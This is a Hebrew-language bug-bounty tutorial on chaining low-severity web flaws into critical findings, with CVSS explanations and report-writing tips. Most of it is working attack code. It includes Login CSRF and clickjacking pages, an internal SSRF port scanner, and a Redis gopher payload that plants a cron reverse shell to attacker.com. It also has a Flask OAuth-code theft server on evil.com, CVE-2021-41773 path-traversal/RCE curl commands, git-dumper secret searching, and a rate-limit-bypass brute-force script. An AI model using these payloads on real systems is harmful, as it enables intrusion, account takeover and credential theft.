מ-Low ל-Critical - הסלמת חומרת חולשות¶
הבנת דירוגי חומרה - CVSS¶
לפני שמתחילים להסלים חולשות, צריך להבין מה הופך ממצא לקריטי.
סולם CVSS v3.1¶
הפרמטרים שקובעים חומרה¶
וקטור תקיפה (AV):
Network (N) - תקיפה מרחוק דרך הרשת
Adjacent (A) - תקיפה מרשת סמוכה
Local (L) - תקיפה מקומית
Physical (P) - תקיפה פיזית
מורכבות תקיפה (AC):
Low (L) - קל לניצול
High (H) - דורש תנאים מיוחדים
הרשאות נדרשות (PR):
None (N) - ללא הרשאות
Low (L) - הרשאות רגילות
High (H) - הרשאות גבוהות
אינטראקציית משתמש (UI):
None (N) - ללא אינטראקציה
Required (R) - דורש אינטראקציה
אימפקט:
Confidentiality (C): None/Low/High
Integrity (I): None/Low/High
Availability (A): None/Low/High
מה הופך ממצא ל-Critical?¶
ממצא קריטי בדרך כלל כולל:
- וקטור רשת (Network)
- מורכבות נמוכה (Low)
- ללא הרשאות נדרשות (None)
- ללא אינטראקציית משתמש (None)
- אימפקט גבוה על סודיות, שלמות, וזמינות
המטרה שלנו: לקחת ממצא שלא עומד בקריטריונים האלה ולשרשר אותו כך שהתוצאה כן עומדת.
טכניקה 1 - Self-XSS ל-Full XSS¶
הבעיה¶
Self-XSS היא חולשת XSS שבה רק המשתמש עצמו יכול להזריק ולהפעיל את ה-payload. רוב תוכניות ה-Bug Bounty לא מקבלות Self-XSS כי אין סיכון אמיתי - למה שמשתמש יתקוף את עצמו?
שיטה א - Login CSRF¶
אם יש Login CSRF (אפשר לחבר קורבן לחשבון של התוקף):
<!-- דף התוקף: מחבר את הקורבן לחשבון התוקף -->
<html>
<body>
<h1>טוען...</h1>
<!-- שלב 1: מנתק את הקורבן -->
<img src="https://target.com/logout" style="display:none">
<!-- שלב 2: מחבר לחשבון התוקף (Login CSRF) -->
<form id="loginForm" action="https://target.com/login" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="attacker_pass">
</form>
<script>
// מחכה שהניתוק יסתיים
setTimeout(() => {
document.getElementById('loginForm').submit();
// הקורבן מחובר עכשיו לחשבון התוקף
// שם ה-Self-XSS כבר מוזרק
// הקורבן רואה את ה-XSS ו-JavaScript רץ בדפדפן שלו
}, 1000);
</script>
</body>
</html>
זרימת התקיפה¶
1. תוקף מזריק Self-XSS בחשבון שלו (למשל בשדה "אודות")
2. תוקף שולח לקורבן קישור לדף שמבצע Login CSRF
3. הקורבן מחובר לחשבון התוקף
4. הקורבן גולש ורואה את ה-Self-XSS
5. ה-JavaScript רץ בדפדפן הקורבן
6. ה-JS גונב cookies של הקורבן (מהחשבון האמיתי שלו)
או מבצע פעולות בשם הקורבן
שיטה ב - שרשור עם Clickjacking¶
<!-- דף תוקף: Clickjacking שגורם לקורבן להזריק XSS -->
<html>
<head>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 400px;
opacity: 0.01; /* כמעט שקוף */
z-index: 2;
}
.fake-page {
position: absolute;
top: 0;
left: 0;
z-index: 1;
}
.fake-button {
position: absolute;
top: 235px; /* ממוקם מעל כפתור השמירה האמיתי */
left: 150px;
padding: 10px 30px;
background: #4CAF50;
color: white;
border: none;
cursor: pointer;
font-size: 18px;
}
</style>
</head>
<body>
<div class="fake-page">
<h1>זכית בפרס!</h1>
<p>לחצו על הכפתור כדי לקבל את הפרס שלכם</p>
<button class="fake-button">קבל פרס</button>
</div>
<!-- ה-iframe עם הדף הפגיע - שדה הפרופיל כבר מלא ב-XSS -->
<iframe src="https://target.com/profile/edit#bio=<script>alert(1)</script>">
</iframe>
</body>
</html>
הסלמה בדירוג¶
לפני:
Self-XSS
CVSS: 0.0 (Informative)
סיבה: דורש שהתוקף יתקוף את עצמו
אחרי שרשור עם Login CSRF:
Stored XSS דרך Login CSRF
CVSS: 6.1 (Medium) עד 8.0 (High)
סיבה: התוקף יכול להפעיל XSS בדפדפן הקורבן
טכניקה 2 - SSRF מוגבל ל-RCE¶
הבעיה¶
SSRF מוגבל שרק מאפשר לבצע בקשות HTTP פנימיות ללא החזרת תוכן (Blind SSRF) - בדרך כלל מדורג כ-Low.
שלב א - סריקת הרשת הפנימית¶
import requests
from concurrent.futures import ThreadPoolExecutor
TARGET = "https://target.com/api/webhook"
def scan_port(host_port):
host, port = host_port
try:
response = requests.post(TARGET, json={
'url': f'http://{host}:{port}/'
}, timeout=5)
# זמן תגובה קצר = פורט פתוח
if response.elapsed.total_seconds() < 2:
print(f"[+] פתוח: {host}:{port}")
return (host, port, True)
except Exception:
pass
return (host, port, False)
# סריקת רשת פנימית
targets = []
for i in range(1, 255):
for port in [80, 443, 8080, 8443, 6379, 27017, 9200, 5432, 3306]:
targets.append((f"10.0.1.{i}", port))
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(scan_port, targets))
open_ports = [(h, p) for h, p, s in results if s]
print(f"\n[+] נמצאו {len(open_ports)} פורטים פתוחים")
שלב ב - זיהוי שירותים פנימיים פגיעים¶
# בדיקת Redis לא מאובטח
response = requests.post(TARGET, json={
'url': 'http://10.0.1.50:6379/'
})
# בדיקת Elasticsearch
response = requests.post(TARGET, json={
'url': 'http://10.0.1.100:9200/_cat/indices'
})
# בדיקת Kubernetes API
response = requests.post(TARGET, json={
'url': 'https://10.0.1.1:6443/api/v1/namespaces'
})
# בדיקת Docker API
response = requests.post(TARGET, json={
'url': 'http://10.0.1.200:2375/containers/json'
})
שלב ג - ניצול שירות פנימי ל-RCE¶
# ניצול Redis לא מאובטח דרך SSRF (Gopher protocol)
import urllib.parse
# פקודות Redis לכתיבת cron job
redis_commands = """
FLUSHALL
SET cronjob "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
QUIT
"""
# קידוד ל-Gopher protocol
encoded = urllib.parse.quote(redis_commands.replace('\n', '\r\n'))
gopher_url = f"gopher://10.0.1.50:6379/_{encoded}"
response = requests.post(TARGET, json={
'url': gopher_url
})
print(f"[+] ניצול Redis: {response.status_code}")
הסלמה בדירוג¶
לפני:
Blind SSRF
CVSS: 3.5 (Low)
סיבה: אין החזרת תוכן, רק יכולת לבצע בקשות
אחרי שרשור:
SSRF -> סריקת רשת פנימית -> Redis -> RCE
CVSS: 9.8 (Critical)
סיבה: הרצת קוד מרחוק ללא אותנטיקציה
טכניקה 3 - Open Redirect ל-Account Takeover¶
הבעיה¶
Open Redirect בדרך כלל מדורג כ-Low או Informative - "זה רק הפניה".
שיטה א - גניבת OAuth token¶
# הפניה תקינה
GET /redirect?next=https://target.com/dashboard HTTP/1.1
Host: target.com
# ניצול
GET /redirect?next=https://evil.com HTTP/1.1
Host: target.com
שילוב עם OAuth:
קישור תקיפה:
https://auth-provider.com/authorize?
client_id=TARGET_ID&
redirect_uri=https://target.com/redirect?next=https://evil.com&
response_type=token&
scope=email+profile
זרימה:
1. קורבן לוחץ על הקישור
2. מאשר גישה ל-target.com (לגיטימי)
3. הפניה ל: https://target.com/redirect?next=https://evil.com#access_token=TOKEN
4. Open Redirect מפנה ל: https://evil.com#access_token=TOKEN
5. התוקף גנב את הטוקן
שיטה ב - גניבת קוד אוטוריזציה¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def steal():
# גניבת authorization code
code = request.args.get('code')
state = request.args.get('state')
if code:
# החלפה לטוקן
token_resp = requests.post('https://target.com/oauth/token', data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': 'https://target.com/redirect?next=https://evil.com/callback',
'client_id': 'TARGET_CLIENT_ID'
})
token = token_resp.json()
print(f"[+] נגנב טוקן: {token}")
# גישה לחשבון
me = requests.get('https://target.com/api/me', headers={
'Authorization': f"Bearer {token['access_token']}"
})
print(f"[+] חשבון: {me.json()}")
return "<h1>שגיאה</h1>", 500
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
הסלמה בדירוג¶
לפני:
Open Redirect
CVSS: 3.4 (Low)
סיבה: רק הפניה לאתר חיצוני
אחרי שרשור:
Open Redirect -> OAuth Token Theft -> Account Takeover
CVSS: 8.1 (High)
סיבה: השתלטות על חשבון ללא אינטראקציה מורכבת
טכניקה 4 - חשיפת מידע לניצול¶
חשיפת גרסה ל-CVE¶
ניצול:
# חיפוש CVE עבור Apache 2.4.49
# CVE-2021-41773 - Path Traversal / RCE
curl -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# אם mod_cgi מופעל - RCE
curl -s -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
-d 'echo Content-Type: text/plain; echo; id'
חשיפת קוד מקור ל-חולשות חדשות¶
שחזור קוד המקור:
# שימוש בכלי git-dumper
git-dumper https://target.com/.git/ ./source_code
# חיפוש חולשות בקוד
grep -r "eval(" ./source_code/
grep -r "exec(" ./source_code/
grep -r "system(" ./source_code/
grep -r "password" ./source_code/config/
grep -r "secret" ./source_code/.env
grep -r "SQL" ./source_code/ | grep -i "query"
חשיפת IP פנימי ל-SSRF ממוקד¶
HTTP/1.1 500 Internal Server Error
{
"error": "Connection refused",
"details": "Could not connect to backend at 10.0.1.50:8080"
}
שימוש ב-IP שהתגלה:
# עכשיו יש לנו יעד מדויק ל-SSRF
response = requests.post('https://target.com/api/webhook', json={
'url': 'http://10.0.1.50:8080/admin/execute?cmd=id'
})
הסלמה בדירוג¶
לפני:
חשיפת גרסה (Information Disclosure)
CVSS: 0.0 - 3.0 (Informative/Low)
אחרי שרשור:
גרסה -> CVE ידוע -> RCE
CVSS: 9.8 (Critical)
טכניקה 5 - עקיפת Rate Limiting ל-Brute Force¶
הבעיה¶
Rate Limiting על דף ההתחברות מונע brute force - אבל אם אפשר לעקוף אותו, זה הופך ל-Account Takeover.
שיטות עקיפה¶
import requests
import itertools
TARGET = "https://target.com/api/login"
USERNAME = "admin@target.com"
# רשימת סיסמאות נפוצות
passwords = open('top1000.txt').read().splitlines()
def try_login(password, technique):
headers = {'Content-Type': 'application/json'}
if technique == 'ip_rotation':
# שיטה 1: החלפת IP דרך headers
headers['X-Forwarded-For'] = f"10.{hash(password) % 256}.{hash(password+'a') % 256}.1"
headers['X-Real-IP'] = headers['X-Forwarded-For']
elif technique == 'case_variation':
# שיטה 2: שינוי רישיות באימייל
variations = []
for i in range(len(USERNAME)):
if USERNAME[i].isalpha():
v = list(USERNAME)
v[i] = v[i].swapcase()
variations.append(''.join(v))
# כל וריאציה נחשבת כמשתמש אחר ל-Rate Limiter
elif technique == 'null_byte':
# שיטה 3: הוספת תווים שמנורמלים
modified_user = USERNAME + '%00'
# או
modified_user = USERNAME + '\t'
elif technique == 'param_pollution':
# שיטה 4: Parameter pollution
return requests.post(TARGET,
data=f"username={USERNAME}&password={password}&username=different@email.com",
headers={'Content-Type': 'application/x-www-form-urlencoded'})
elif technique == 'json_array':
# שיטה 5: שליחת מספר סיסמאות בבקשה אחת
return requests.post(TARGET, json={
'username': USERNAME,
'password': [passwords[i:i+100] for i in range(0, len(passwords), 100)][0]
}, headers=headers)
return requests.post(TARGET, json={
'username': USERNAME,
'password': password
}, headers=headers)
# ניסיון כל השיטות
for technique in ['ip_rotation', 'case_variation', 'null_byte', 'param_pollution']:
print(f"\n[*] מנסה שיטה: {technique}")
for password in passwords[:100]:
response = try_login(password, technique)
if response.status_code == 200 and 'token' in response.text:
print(f"[+] סיסמה נמצאה: {password}")
break
elif response.status_code == 429:
print(f"[-] Rate limited - שיטה {technique} לא עובדת")
break
הסלמה בדירוג¶
לפני:
Rate Limiting Bypass
CVSS: 3.0 (Low)
סיבה: רק עוקף מנגנון הגנה
אחרי:
Rate Limiting Bypass -> Brute Force -> Account Takeover
CVSS: 7.5 (High) עד 9.1 (Critical)
סיבה: השתלטות על כל חשבון
הדגמת אימפקט עסקי¶
חולשה לפני הסלמה¶
כותרת: Self-XSS in Profile Bio Field
חומרה: Informative
תשלום: $0
תיאור: "משתמש יכול להזריק JavaScript בשדה הפרופיל שלו"
אותה חולשה אחרי הסלמה¶
כותרת: Stored XSS via Login CSRF Leading to Mass Account Takeover
חומרה: Critical
תשלום: $10,000+
תיאור: "תוקף יכול להשתלט על כל חשבון באמצעות שרשרת:
1. Login CSRF מחבר קורבן לחשבון התוקף
2. Self-XSS שמוזרק בחשבון התוקף מופעל בדפדפן הקורבן
3. JavaScript גונב את הסשן האמיתי של הקורבן
4. תוקף משתמש בסשן להשתלטות מלאה
אימפקט עסקי: כל משתמש שלוחץ על קישור זדוני מאבד שליטה
על החשבון שלו. תוקף יכול לגשת למידע אישי, לבצע פעולות
בשם המשתמש, ולהשתמש בחשבון להתקפות נוספות."
איך להציג ממצאים מוסלמים¶
מבנה דוח מומלץ¶
## כותרת
[תיאור קצר של השרשרת המלאה - לא רק החולשה הבודדת]
## חומרה
CVSS: [ציון] ([רמה])
Vector: [וקטור מלא]
## תיאור
[תיאור טכני של כל חולשה בנפרד]
## שרשרת הניצול
1. [שלב ראשון] - [תיאור + בקשת HTTP]
2. [שלב שני] - [תיאור + בקשת HTTP]
3. [שלב שלישי] - [תיאור + תוצאה]
## הוכחת ניצול - PoC
[סקריפט מלא שמדגים את כל השרשרת]
## אימפקט עסקי
- מי מושפע?
- מה התוקף יכול לעשות?
- מה ההשפעה על המשתמשים?
- מה ההשפעה על העסק?
## תיקון מומלץ
[תיקון לכל חולשה בשרשרת - תיקון אחד יכול לשבור את כל השרשרת]
טיפים להגדלת תשלום¶
- הדגימו אימפקט מקסימלי - לא רק "XSS" אלא "Account Takeover"
- הראו שהתקיפה ניתנת להרחבה - "כל משתמש" ולא "משתמש ספציפי"
- הציגו סיכון עסקי - "גישה למידע כרטיסי אשראי של לקוחות"
- ספקו PoC עובד - סקריפט שמדגים את כל השרשרת
- הציעו תיקון - הראו שאתם מבינים את הבעיה